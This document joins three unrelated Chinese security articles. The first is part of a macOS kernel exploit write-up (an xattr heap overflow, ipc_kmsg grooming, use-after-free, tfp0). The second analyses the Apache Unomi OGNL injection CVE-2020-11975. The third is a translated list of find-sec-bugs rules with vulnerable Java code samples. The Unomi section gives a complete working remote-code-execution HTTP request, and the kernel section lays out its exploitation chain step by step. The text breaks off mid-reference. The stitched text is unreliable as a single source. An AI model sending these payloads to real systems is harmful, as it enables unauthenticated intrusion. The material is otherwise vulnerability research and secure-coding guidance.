现在，我们有了一个oob-read，但是对于拿到内核权限来说，这还不够，通常我们需要通过一个内核任意地址写，来实现这个目标，这是这个漏洞最有挑战性的一个点了。
已知现在可以控制两个header中的数据，我们继续查看代码，观察还有哪些有用的副作用。来到以下代码，在VNOP_WRITE写文件的前后，分别有一个swap_adhdr操作。这个函数做的事情比较简单，就是把header中的整数，做了一次swap操作，也就是大小端序转换。
这里为什么要做一个swap操作呢？apple double文件是大端序存储的，内存中的数据与文件中的字节顺序是不一致的，需要做一次端序转换才能写入文件。
这段代码中有一个for循环，循环的次数来自于文件header，而我们可以任意的修改header中的数据，因此for循环的次数，我们是可以控制的！我们可以把循环次数变成一个很大的数，比如一百万，for循环会一直持续下去，这样我们就得到了一个越界。但是，这并不是一个oob-write，仅仅是一个oob-swap。
#### 3.2 从oob-swap到uaf
那么，oob-swap可以做一些什么呢？
具体来看，swap操作会改变一个数字的端序，如果转换之后依然使用小端序来解释，那么数字的值会发生变化。你可以让一个整数变大，也可以让一个整数变小，这就足够了。
这里依然要用到ipc_kmsg，首先我们把一个特定的kmsg放置在apple double内存之后，这个kmsg就是我们oob-swap的目标。
然后，我们再看一下kmsg结构，oob-swap可以改变一些什么。kmsg头部的字段是ikm_size，是一个uint32，因为kmsg是变长的，需要使用这个字段记录kmsg的长度，释放时，根据这个字段的值释放当初分配的内存。如果我们利用oob-swap，让这个字段变大，比如0x1234 ->
0x4321，那如果我们释放这个kmsg，实际上会多释放一部分内存，跟随在这个kmsg之后的其它内核对象，就被一同释放掉了，但这个对象的引用还在，我们依然可以使用这个已被释放掉的对象，也就是说，我们得到了一个UaF。于是，我们可以把oob-swap漏洞，转化成一种非常有用的漏洞类型了！
但是，oob-swap操作，一次连续翻转12个字节，并且起始位置不是4字节对齐的，因此，我们无法做到只翻转ikm_size这个字段。实际上，我们得到的是一个10个字节的越界翻转（绿色标记）。这意味着，我们得到了比我当初设想中更多的副作用，并且这些副作用对我们的漏洞利用是有害的。具体来讲，共有ikm_size、ikm_flags、ikm_next三个字段遭到破坏。
当然，我们还是可以控制ikm_size的大小，可以顺利触发overfree的操作。但是，ikm_next是一个很重要的指针，它的损坏，会导致后续内核panic。
根据panic信息，我们找到了以下的代码，内核在释放kmg之前，会做一些检查，我们必须保证，oob-swap之后ikm_next是有效的。
我们再次观察一下，oob-swap的结果，ikm_flags的高16位，覆盖了ikm_next指针的低16位，而大部分情况下，ikm_flags的高位是0，所以可以近似的认为，ikm_next低16位被清零了。那么我们如何避免panic呢？
考虑这么一种情况，如果kmsg分配在64kb对齐的地址处，比如0xAABB0000，由于ikm_next指向kmsg本身，也就是ikm_next指针低16位等于0。此时，即使oob-swap把它的低位清零，ikm_next依然是一个有效的指针，因为它的低位原本就是0。这样做就可以避免后续的panic，得到一个完美的UaF。
为了实现把ipc_kmsg分配到64kb对齐的地址处（0x10000），需要对内核堆进行精确布局。我连续分配了18个大小为0x11000的kmsg，这样做的好处是，它们的地址会依次递增，当然了我们只关心低16位的变化，他们的地址分别为xxx1000
xxx2000 ... xxxf000 xxx0000。其中必然包含一个64kb对齐的kmsg！利用我们已经获得的oob-read能力，可以清楚的知道是哪一个kmsg是我们需要的，如下图所示。
接下来需要在64kb地址边界处，精确地对kmsg进行分割，我们把连续的3个kmsg释放掉，重新分配3段新的内存，包含一个16 page内存页和两个8
page内存页。其中的16 page内存页预留给xattrinfo使用，它会对齐到64kb，下一个8
page内存页同样也会对齐到64kb，这个位置用来放置目标kmsg，是oob-swap破坏的对象，我们将会利用oob-swap把它伪造成为一个16
page大小的kmsg。下一个8 page内存页，是ool ports page，是我们overfree的对象。经过这一系列操作，然后把oob-swap破坏掉的kmsg释放，紧随其后得ool ports page会一并被释放掉，我们就得到一个完美的UaF。
后面的事情就比较简单了，可以通过一些通用的漏洞利用技术创建tfp0，获取到内核任意地址读写能力，完成漏洞利用。
1、通过共享内存，在内核中伪造一个fake task，和一个fake port。
2、可以通过OSData对释放掉的ool ports page重新占位，控制ool port的值，指向fake port。
3、receive ports，得到task port。
4、利用pft trick(pid for task)，实现任意地址读，确定kernel task和kernel map的值。
5、更新fake task，得到tfp0。
### 04 xattr漏洞之二（CVE-2019-8852）
这个漏洞在2019年的10.15.2版本中修复，已经有一点老了。
还是参考default_setxattr函数，有这样一段代码。xattr文件中存在一个特殊的属性，com.apple.FinderInfo。当设置这个属性时，会跳转到以下代码，用户可以为这个属性设置32字节的数据。
问题是，finderinfo的偏移地址，也是来自于文件，并且没有对这个值的有效范围进行检查，当这个值大于64kb时，就会发生越界，越界写的数据完全受我们控制。
这个漏洞提供了32字节的任意地址读写能力，唯一的限制是，读写的地址只能位于xattrinfo页面之后。这是一个比较完美的漏洞，关于漏洞利用的过程，这里就不做过多介绍了。
### 05 结语
文件系统是内核的一个有效的攻击面，历史上这种类型的漏洞并不鲜见。文章展示的漏洞再次证明，通过文件系统漏洞对内核发起攻击，是一种非常有效的方法，有很大的危害。因此，设计和实现一个文件系统时，需要非常的小心谨慎，对来自用户空间的任何数据都要进行严格校验。
CVE-2020-27904是一个非常有意思的漏洞，老实说它的漏洞品相并不好，但是通过我们独特的漏洞利用技术，我们实际上可以做到漏洞的稳定利用，把它转变成一个完美的漏洞。希望其中用到的一些思路和技术，可以给相关领域的研究者带来启发。
* * * | 社区文章 |
### 简介
* 参考链接
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11975>
* <http://unomi.apache.org/>
Apache Unomi是什么？
Apache Unomi是一个Java开源客户数据平台，这是一个Java服务器。
Apache Unomi的用途？
Unomi可用于在各种不同的系统(如CMSs, CRMs, Issue Trackers, native mobile
applications等)中"整合个性化"(integrate personalization)和"配置文件管理"(profile
management)。
Apache Unomi的优点？
Unomi在2019年被宣布为Top-Level Apache product，具有高度的可扩展性，考虑了易用性。
鉴于Unomi包含大量数据并具有与其他系统的紧密集成的特点，使它成为攻击者的理想目标。
发现了1个什么漏洞？
远程攻击者发送带有了OGNL表达式的请求，可导致远程代码执行(RCE)，权限就是Unomi应用程序的运行权限。
漏洞编号CVE-2020-11975
Credit: This issue was reported by Yiming Xiang of NSFOCUS.
触发前提:
Apache Unomi < 1.5.1 的版本，无需身份验证，能访问到就能RCE。
### 漏洞分析
Unomi提供了一个受限的API(应该是指需要授权才能访问)，可以"取回"(retrieve)数据、操作数据。
此外还有一个公开的endpoint,应用程序可以在这里上传数据、"取回"(retrieve)用户数据。
Unomi允许发往这些endpoint的HTTP requests中包含复杂的conditions(条件)。
Unomi conditions(条件)依赖于"表达式语言"(expression
languages,EL)，如OGNL或MVEL，以允许用户构造复杂的、细粒度的查询. 在访问存储中的数据之前，基于EL的conditions被计算/执行。
CVE-2020-11975漏洞原理：
在1.5.1之前的版本中，这些"表达式语言"(expression languages)完全不受限制，所以通过EL注入即可实现RCE。
攻击者通过发送1个请求就可以在Unomi服务器上执行任意代码和OS命令。
修复CVE-2020-11975之前的代码：
<https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java#L327-L330>
public class PropertyConditionEvaluator implements ConditionEvaluator {
...
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ExpressionAccessor accessor = getPropertyAccessor(item, expression);
return accessor != null ? accessor.get(getOgnlContext(), item) : null;
}
...
解释一下上面的代码:
`PropertyConditionEvaluator`类负责conditions(条件)内的OGNL表达式的计算/执行。
当Unomi收到了类似于例1的JSON数据时，Unomi如何处理？
例1 JSON数据
{
"condition":{
"parameterValues":{
"propertyName":"Wubba Lubba",
"comparisonOperator":"equals",
"propertyValue":"Dub Dub"
}
}
}
* Unomi处理流程
* 首先，Unomi尝试根据用户输入的"属性名称"(property name)，查找"硬编码的属性"(hardcoded properties)。
* 如果找不到，则调用`getOGNLPropertyValue`方法，该方法将用户输入的"属性名称"(property name)作为一条OGNL表达式，计算/执行这个"属性名称"。
在计算/执行OGNL表达式时, `ExpressionAccessor`使用"默认参数"(default
parameters)，从而导致了任意OGNL表达式的计算/执行。
例如，"属性名称"(property name)设置为这个OGNL表达式:
`(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))`
PoC:
CVE-2020-11975 OGNL Injection
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals_anystr",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
测试成功。
Response如下(可能不重要，仅供参考)
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=eeff918c-d8ab-43e9-bf6c-8420a8bd31de; Path=/; Expires=Wed, 24-Nov-2021 03:54:55 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=49b58042-92d6-4fcf-bb60-9fc0f62d0b5a; Path=/; Expires=Wed, 24-Nov-2021 03:54:55 GMT; Max-Age=31536000
Content-Type: application/json;charset=utf-8
Server: Jetty(9.4.22.v20191022)
{"profileId":"49b58042-92d6-4fcf-bb60-9fc0f62d0b5a","sessionId":"test-demo-session-id","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":null,"processedEvents":0,"personalizations":{"gender-test_anystr":["var2"]},"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}
### 漏洞CVE-2020-11975 的修复代码
看看Unomi的开发者怎么修的。
#### 变更1 OGNL处理过程增加了`SecureFilteringClassLoader`
查看diff:
<https://github.com/apache/unomi/commit/823386ab117d231df15eab4cb4b7a98f8af546ca>
搜索`PropertyConditionEvaluator.java`
文件路径:
plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java
`PropertyConditionEvaluator.java`的代码变更: line
[L328-L333](https://github.com/apache/unomi/blob/75c6cf56f1917a9cc5bd157c5e99c0e228cffcfc/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java#L328-L333)
主要看`PropertyConditionEvaluator`类 的 `getOGNLPropertyValue()`方法。
将`SecureFilteringClassLoader`添加到`getOGNLPropertyValue()`方法中的`OgnlContext`中，以防止计算/执行任意OGNL表达式。
public class PropertyConditionEvaluator implements ConditionEvaluator {
...
protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
return accessor != null ? accessor.get(ognlContext, item) : null;
}
...
#### 变更2 MVEL处理过程增加了`SecureFilteringClassLoader`
计算/执行MVEL表达式的代码，也使用了SecureFilteringClassLoader。
修复前(1.5.0版本)
<https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L81-L89>
//1.5.0
public class ConditionContextHelper {
...
else if (s.startsWith("script::")) {
String script = StringUtils.substringAfter(s, "script::");
if (!mvelExpressions.containsKey(script)) {
ParserConfiguration parserConfiguration = new ParserConfiguration();
parserConfiguration.setClassLoader(ConditionContextHelper.class.getClassLoader());
mvelExpressions.put(script,MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
}
return MVEL.executeExpression(mvelExpressions.get(script), context);
}
...
修复后(1.5.1版本)
<https://github.com/apache/unomi/blob/75c6cf56f1917a9cc5bd157c5e99c0e228cffcfc/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L107-L117>
//1.5.1
public class ConditionContextHelper {
...
private static Object executeScript(Map<String, Object> context, String script) {
final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
try {
if (!mvelExpressions.containsKey(script)) {
ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
ParserConfiguration parserConfiguration = new ParserConfiguration();
parserConfiguration.setClassLoader(secureFilteringClassLoader);
mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
}
return MVEL.executeExpression(mvelExpressions.get(script), context);
...
#### 变更3 `SecureFilteringClassLoader`类的具体实现
这个patch，引入了"安全过滤的ClassLoader" `SecureFilteringClassLoader`。
具体实现，可搜索`SecureFilteringClassLoader.java`
文件路径:
common/src/main/java/org/apache/unomi/common/SecureFilteringClassLoader.java
line 90-99
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
throw new ClassNotFoundException("Access to class " + name + " not allowed");
}
return delegate.loadClass(name);
}
看代码可知，`SecureFilteringClassLoader`类，这样来限制MVEL和OGNL的能力：
`SecureFilteringClassLoader`类是重写了`ClassLoader`类的`loadClass()`方法，在"预定义的集合"(predefined
set)中明确限制了"可访问的类"(accessible classes) ，并根据allowlist和blocklist来检查表达式中使用的类。
如果匹配中了blocklist,则抛出异常。
如果没匹配中allowlist,则抛出异常。
#### 漏洞CVE-2020-11975 修复效果
看看修复CVE-2020-11975之后的效果，如果攻击者尝试攻击是什么情况。
（1）`SecureFilteringClassLoader`类 到底 **如何实现限制OGNL的能力?**
攻击者通常使用`@`符号，来利用OGNL实现RCE:
修复CVE-2020-11975之后，使用`@`符号来静态地访问"对象类"(object classes)时，OGNL会调用`loadClass()`
例如`java.lang.Runtime.getRuntime()`写成OGNL表达式:
`(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))`
如果unomi版本<1.5.1，可RCE。
如果unomi版本>=1.5.1，当加载Runtime类时，此表达式无法通过`SecureFilteringClassLoader`类所执行的检查，也就是说不会成功加载`Runtime`类。
（2）`SecureFilteringClassLoader`类 到底 **如何实现限制MVEL的能力?**
其实CVE-2020-11975，并没有用到MVEL表达式，只是开发者考虑到MVEL表达式也可能有同样问题，就一起做了代码变更（修复）。
对于MVEL表达式来说，当使用`new`语句创建新对象时，也会调用`ClassLoader`或`SecureFilteringClassLoader`的`loadClass()`方法(到底哪个类得看版本了)，因此，这次patch代码变更后，使用MVEL表达式也只能"创建"出
来自于(allowlist)"受限类"(restricted set of classes)的集合里的实例。
注意: 这次patch是限制了 "创建" 对象，而没限制使用 "已经存在的" 对象！
### 总结
CVE-2020-11975是OGNL注入，开发者发现了类似的MVEL注入，这次的patch一起做了限制，看起来好像防住了。
其实这个patch没考虑完全, Checkmarx Security Research Team发现可以绕过。
就有了CVE-2020-13942。下篇再仔细看。 | 社区文章 |
翻译自：<http://find-sec-bugs.github.io/bugs.htm>
翻译：聂心明
# 外部文件访问(Android)
漏洞特征：ANDROID_EXTERNAL_FILE_ACCESS
应用经常往外部存储上写数据（可能是SD卡），这个操作可能会有多个安全问题。首先应用可以可以通过[READ_EXTERNAL_STORAGE](http://developer.android.com/reference/android/Manifest.permission.html#READ_EXTERNAL_STORAGE)
获取SD卡上存储的文件。而且如果数据中包含用户的敏感信息的话，那么需要把这些数据加密。
有漏洞的代码：
file file = new File(getExternalFilesDir(TARGET_TYPE), filename);
fos = new FileOutputStream(file);
fos.write(confidentialData.getBytes());
fos.flush();
更好的措施：
fos = openFileOutput(filename, Context.MODE_PRIVATE);
fos.write(string.getBytes());
引用：
[Android Official Doc: Security
Tips](http://developer.android.com/training/articles/security-tips.html#ExternalStorage)
[CERT: DRD00-J: Do not store sensitive information on external
storage](https://www.securecoding.cert.org/confluence/display/java/DRD00-J.+Do+not+store+sensitive+information+on+external+storage+%28SD+card%29+unless+encrypted+first)
[Android Official Doc: Using the External
Storage](http://developer.android.com/guide/topics/data/data-storage.html#filesExternal)
[OWASP Mobile Top 10 2014-M2: Insecure Data
Storage](https://www.owasp.org/index.php/Mobile_Top_10_2014-M2)
[CWE-312: Cleartext Storage of Sensitive
Information](https://cwe.mitre.org/data/definitions/312.html)
# Broadcast漏洞(Android)
漏洞规则：ANDROID_BROADCAST
所有应用通过申请适当权限就可以监听Broadcast的意图，所以尽量不要通过Broadcast传输敏感数据。
有漏洞的代码：
Intent i = new Intent();
i.setAction("com.insecure.action.UserConnected");
i.putExtra("username", user);
i.putExtra("email", email);
i.putExtra("session", newSessionId);
this.sendBroadcast(v1);
解决方案（如果有可能的话）：
Intent i = new Intent();
i.setAction("com.secure.action.UserConnected");
sendBroadcast(v1);
配置（接收者）
<manifest ...>
<!-- Permission declaration -->
<permission android:name="my.app.PERMISSION" />
<receiver
android:name="my.app.BroadcastReceiver"
android:permission="my.app.PERMISSION"> <!-- Permission enforcement -->
<intent-filter>
<action android:name="com.secure.action.UserConnected" />
</intent-filter>
</receiver>
...
</manifest>
配置（发送者）
<manifest>
<!-- We declare we own the permission to send broadcast to the above receiver -->
<uses-permission android:name="my.app.PERMISSION"/>
<!-- With the following configuration, both the sender and the receiver apps need to be signed by the same developer certificate. -->
<permission android:name="my.app.PERMISSION" android:protectionLevel="signature"/>
</manifest>
引用：
[CERT: DRD03-J. Do not broadcast sensitive information using an implicit
intent](https://www.securecoding.cert.org/confluence/display/java/DRD03-J.+Do+not+broadcast+sensitive+information+using+an+implicit+intent)
[Android Official Doc: BroadcastReceiver
(Security)](http://developer.android.com/reference/android/content/BroadcastReceiver.html#Security)
[Android Official Doc: Receiver configuration (see
android:permission)](http://developer.android.com/guide/topics/manifest/receiver-element.html)
[1] [StackOverflow: How to set permissions in broadcast sender and receiver in
android](http://stackoverflow.com/a/21513368/89769)
[CWE-925: Improper Verification of Intent by Broadcast
Receiver](https://cwe.mitre.org/data/definitions/925.html)
[CWE-927: Use of Implicit Intent for Sensitive
Communication](https://cwe.mitre.org/data/definitions/927.html)
# 任意文件写 (Android)
创建文件使用MODE_WORLD_READABLE模式，可以让文件写入环境中的任意位置。一些文件文件被改写的话，可能会发生一些不希望发生的事情。
有漏洞代码：
fos = openFileOutput(filename, MODE_WORLD_READABLE);
fos.write(userInfo.getBytes());
解决方案（使用MODE_PRIVATE）：
fos = openFileOutput(filename, MODE_PRIVATE);
解决方案（使用本地SQLite数据库）
使用本地SQLite数据库可能是存储结构数据最好的解决方案了。要确定数据库文件不会被创建到外部存储中。见下面的开发文档引用
引用：
[CERT: DRD11-J. Ensure that sensitive data is kept
secure](https://www.securecoding.cert.org/confluence/display/java/DRD11-J.+Ensure+that+sensitive+data+is+kept+secure)
[Android Official Doc: Security
Tips](http://developer.android.com/training/articles/security-tips.html#InternalStorage)
[Android Official Doc:
Context.MODE_PRIVATE](http://developer.android.com/reference/android/content/Context.html#MODE_PRIVATE)
[vogella.com: Android SQLite database and content provider -Tutorial](http://www.vogella.com/tutorials/AndroidSQLite/article.html#databasetutorial_database)
[OWASP Mobile Top 10 2014-M2: Insecure Data
Storage](https://www.owasp.org/index.php/Mobile_Top_10_2014-M2)
[CWE-312: Cleartext Storage of Sensitive
Information](https://cwe.mitre.org/data/definitions/312.html)
# 已激活地理位置的WebView(Android)
漏洞特征：ANDROID_GEOLOCATION
建议去询问用户是否能获取他们的位置信息
漏洞代码：
webView.setWebChromeClient(new WebChromeClient() {
@Override
public void onGeolocationPermissionsShowPrompt(String origin, GeolocationPermissions.Callback callback) {
callback.invoke(origin, true, false);
}
});
建议代码：
限制使用地理位置的例子，并且要得到用户的确认
webView.setWebChromeClient(new WebChromeClient() {
@Override
public void onGeolocationPermissionsShowPrompt(String origin, GeolocationPermissions.Callback callback) {
callback.invoke(origin, true, false);
//Ask the user for confirmation
}
});
引用：
[CERT: DRD15-J. Consider privacy concerns when using Geolocation
API](https://www.securecoding.cert.org/confluence/display/java/DRD15-J.+Consider+privacy+concerns+when+using+Geolocation+API)
[Wikipedia: W3C Geolocation
API](http://en.wikipedia.org/wiki/W3C_Geolocation_API)
[W3C: Geolocation Specification](http://dev.w3.org/geo/api/spec-source.html)
# 允许JavaScript脚本运行的webview (Android)
漏洞特征：ANDROID_WEB_VIEW_JAVASCRIPT
WebView如果允许允许JavaScript脚本的话，就意味着它会受到xss的影响。应该检查页面的渲染，以避免潜在的反射型xss，存储型xss，dom型xss。
WebView myWebView = (WebView) findViewById(R.id.webView);
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);
有漏洞的代码：
允许JavaScript运行是一个坏的习惯。这就意味着后端代码需要被审计，以避免xss。xss也会使用dom xss的形式引入到客户端。
function updateDescription(newDescription) {
$("#userDescription").html("<p>"+newDescription+"</p>");
}
引用：
[Issue: Using setJavaScriptEnabled can introduce XSS
vulnerabilities](http://www.technotalkative.com/issue-using-setjavascriptenabled-can-introduce-xss-vulnerabilities-application-review-carefully/)
[Android Official Doc:
WebView](http://developer.android.com/guide/webapps/webview.html#UsingJavaScript)
[WASC-8: Cross Site
Scripting](http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting)
[OWASP: XSS Prevention Cheat
Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet)
[OWASP: Top 10 2013-A3: Cross-Site Scripting
(XSS)](https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_%28XSS%29)
[CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](http://cwe.mitre.org/data/definitions/79.html)
# 带有JavaScript接口的WebView (Android)
漏洞特征:ANDROID_WEB_VIEW_JAVASCRIPT_INTERFACE
使用JavaScript接口可能会将WebView暴露给有危害的api。如果在WebView中触发xss的话，恶意的JavaScript代码会钓鱼一些敏感的类。
有漏洞代码：
WebView myWebView = (WebView) findViewById(R.id.webView);
myWebView.addJavascriptInterface(new FileWriteUtil(this), "fileWriteUtil");
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);
[...]
class FileWriteUtil {
Context mContext;
FileOpenUtil(Context c) {
mContext = c;
}
public void writeToFile(String data, String filename, String tag) {
[...]
}
}
引用：
[Android Official Doc:
WebView.addJavascriptInterface()](http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29)
[CWE-749: Exposed Dangerous Method or
Function](https://cwe.mitre.org/data/definitions/749.html)
# 没有用secure标志的cookie
漏洞特征：INSECURE_COOKIE
一个新的cookie的创建应该设置Secure标志。Secure标志命令浏览器确保cookie不会通过不安全的链路发送(http://)
有漏洞的代码：
Cookie cookie = new Cookie("userName",userName);
response.addCookie(cookie);
解决方案（特殊的设置):
Cookie cookie = new Cookie("userName",userName);
cookie.setSecure(true); // Secure flag
cookie.setHttpOnly(true);
解决方案（Servlet 3.0 配置）
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="3.0">
[...]
<session-config>
<cookie-config>
<http-only>true</http-only>
<secure>true</secure>
</cookie-config>
</session-config>
</web-app>
引用：
[CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure'
Attribute](https://cwe.mitre.org/data/definitions/614.html)
[CWE-315: Cleartext Storage of Sensitive Information in a
Cookie](https://cwe.mitre.org/data/definitions/315.html)
[CWE-311: Missing Encryption of Sensitive
Data](https://cwe.mitre.org/data/definitions/311.html)
[OWASP: Secure Flag](https://www.owasp.org/index.php/SecureFlag)
[Rapid7: Missing Secure Flag From SSL
Cookie](https://www.rapid7.com/db/vulnerabilities/http-cookie-secure-flag)
# 没有用HttpOnly标志的cookie
漏洞特征：HTTPONLY_COOKIE
一个新的cookie的创建应该设置Secure标志。Secure标志命令浏览器确保cookie不会被恶意脚本读取。当用户是“跨站脚本攻击”的目标的时候，攻击者会获得用户的session
id，从而能够接管用户的账户。
有漏洞的代码：
Cookie cookie = new Cookie("email",userName);
response.addCookie(cookie);
解决方案（特殊的设置):
Cookie cookie = new Cookie("email",userName);
cookie.setSecure(true);
cookie.setHttpOnly(true); //HttpOnly flag
解决方案（Servlet 3.0 配置）
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="3.0">
[...]
<session-config>
<cookie-config>
<http-only>true</http-only>
<secure>true</secure>
</cookie-config>
</session-config>
</web-app>
引用：
[Coding Horror blog: Protecting Your Cookies:
HttpOnly](http://blog.codinghorror.com/protecting-your-cookies-httponly/)
[OWASP: HttpOnly](https://www.owasp.org/index.php/HttpOnly)
[Rapid7: Missing HttpOnly Flag From
Cookie](https://www.rapid7.com/db/vulnerabilities/http-cookie-http-only-flag)
# 使用反序列化对象
漏洞特征：OBJECT_DESERIALIZATION
反序列化不受信任的数据可能会导致远程命令执行，如果有可用的执行链，那么就会触发恶意操作。库的开发者在逐渐提高防御策略，以避免潜在的恶意利用。但是还是有一些已知的类可以触发dos攻击。
反序列化是一个敏感的操作，因为历史上曾经有很多比较有名的漏洞都是出自它。web应用是很脆弱的，因为很快java虚拟机里面将会爆发出一波新的漏洞。
有漏洞的代码：
public UserData deserializeObject(InputStream receivedFile) throws IOException, ClassNotFoundException {
try (ObjectInputStream in = new ObjectInputStream(receivedFile)) {
return (UserData) in.readObject();
}
}
解决方案：
避免反序列从远程用户输入的数据
引用：
[CWE-502: Deserialization of Untrusted
Data](https://cwe.mitre.org/data/definitions/502.html)
[Deserialization of untrusted
data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data)
[Serialization and
Deserialization](http://www.oracle.com/technetwork/java/seccodeguide-139067.html#8)
[A tool for generating payloads that exploit unsafe Java object
deserialization](https://github.com/frohoff/ysoserial)
[1] [Example of Denial of Service using the class
java.util.HashSet](https://gist.github.com/coekie/a27cc406fc9f3dc7a70d)
[2] [OpenJDK: Deserialization issue in ObjectInputStream.readSerialData()
(CVE-2015-2590)](https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2015-2590)
[3] [Rapid7: Sun Java Calendar Deserialization Privilege Escalation
(CVE-2008-5353)](https://www.rapid7.com/db/modules/exploit/multi/browser/java_calendar_deserialize)
# 不安全的Jackson发序列化配置
漏洞特征：JACKSON_UNSAFE_DESERIALIZATION
如果Jackson databind库被用来反序列不受信任的数据的话，就会导致远程命令执行。如果有可用的执行链，那么就会触发恶意操作。
解决方案：
当通过JsonTypeInfo.Id.NAME使用多态性时，应该明确定义想要的类型和子类型。并且不要调用ObjectMapper.enableDefaultTyping（readValue包含Object
或 Serializable 或 Comparable 或 已知的反序列化类型）
有漏洞的代码：
public class Example {
static class ABean {
public int id;
public Object obj;
}
static class AnotherBean {
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) // or JsonTypeInfo.Id.MINIMAL_CLASS
public Object obj;
}
public void example(String json) throws JsonMappingException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(json, ABean.class);
}
public void exampleTwo(String json) throws JsonMappingException {
ObjectMapper mapper = new ObjectMapper();
mapper.readValue(json, AnotherBean.class);
}
}
引用：
[Jackson Deserializer security
vulnerability](https://github.com/FasterXML/jackson-databind/issues/1599)
[Java Unmarshaller Security - Turning your data into code
execution](https://github.com/mbechler/marshalsec)
# 在反序列化漏洞中被利用的类
漏洞特征：DESERIALIZATION_GADGET
反序列化利用链是一些可以被攻击者利用的类，这些类通常存在于远程api中。这些类也会被添自定义行为，目的是用readObject方法去反序列化
(Serializable)或者调用来自序列化对象中的方法(InvocationHandler).
这个检查工具主要用于研究人员。真实的场景是反序列化会被用于远程操作。为了减少恶意代码的利用，必须要强制移除利用链中所使用的类。
引用：
[CWE-502: Deserialization of Untrusted
Data](https://cwe.mitre.org/data/definitions/502.html)
[Deserialization of untrusted
data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data)
[Serialization and
Deserialization](http://www.oracle.com/technetwork/java/seccodeguide-139067.html#8)
[A tool for generating payloads that exploit unsafe Java object
deserialization](https://github.com/frohoff/ysoserial)
[1] [Example of Denial of Service using the class
java.util.HashSet](https://gist.github.com/coekie/a27cc406fc9f3dc7a70d)
[2] [OpenJDK: Deserialization issue in ObjectInputStream.readSerialData()
(CVE-2015-2590)](https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2015-2590)
[3] [Rapid7: Sun Java Calendar Deserialization Privilege Escalation
(CVE-2008-5353)](https://www.rapid7.com/db/modules/exploit/multi/browser/java_calendar_deserialize)
# 违反信任边界
漏洞特征：TRUST_BOUNDARY_VIOLATION
信任边界被认为是通过程序画的一根线。在线的一边，数据是不可信的。在线的另一边，数据是被可信任的。身份效验的目的是为了数据能够安全的通过信任边界-从不信任的一遍到信任的一边。当程序模糊了信任数据和不信任数据的边界时就会导致违反信任边界的事情发生。把信任数据和不信任数据组合成相同的数据结构时，就会让程序员更容易在边界上的犯错。
有漏洞的代码：
public void doSomething(HttpServletRequest req, String activateProperty) {
//..
req.getSession().setAttribute(activateProperty,"true");
}
public void loginEvent(HttpServletRequest req, String userSubmitted) {
//..
req.getSession().setAttribute("user",userSubmitted);
}
解决方案：
解决方案是在设置新的session属性前要添加验证。如果有可能，最好数据是来自安全的地方而不是用户提供的输入数据
引用：
[1] [CWE-501: Trust Boundary
